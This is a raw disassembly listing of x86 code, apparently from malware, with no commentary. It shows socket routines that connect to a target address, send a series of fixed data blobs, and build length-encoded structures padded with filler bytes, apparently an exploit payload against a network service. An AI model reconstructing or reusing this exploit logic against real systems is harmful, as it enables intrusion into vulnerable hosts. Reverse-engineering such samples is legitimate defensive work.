		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr ds:dword_43C810
		add	esp, 2Ch
		push	eax
		call	ds:dword_43F668	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------

loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, ds:dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB

loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------

loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------

loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		call	ds:dword_424064	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41544E
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	ds:dword_43F668	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797

loc_403790:				; CODE XREF: _0:004036EBj _0:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------

loc_403797:				; CODE XREF: _0:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------

loc_40379A:				; CODE XREF: _0:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1

loc_4037BE:				; CODE XREF: _0:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5

loc_4037DE:				; CODE XREF: _0:004037BAj
		mov	dword ptr [ebp-4], 1

loc_4037E5:				; CODE XREF: _0:004037DCj
		push	ebx
		call	ds:dword_43F700	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_403814:				; CODE XREF: _0:004037F0j
		push	1
		pop	eax

loc_403817:				; CODE XREF: _0:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx

loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF

loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------

loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------

loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------

loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1

loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35

loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: _0:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------

loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_42420C	; select
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403E61

loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------

loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_43F680	; recv

loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_43F664	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; _0:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B

loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
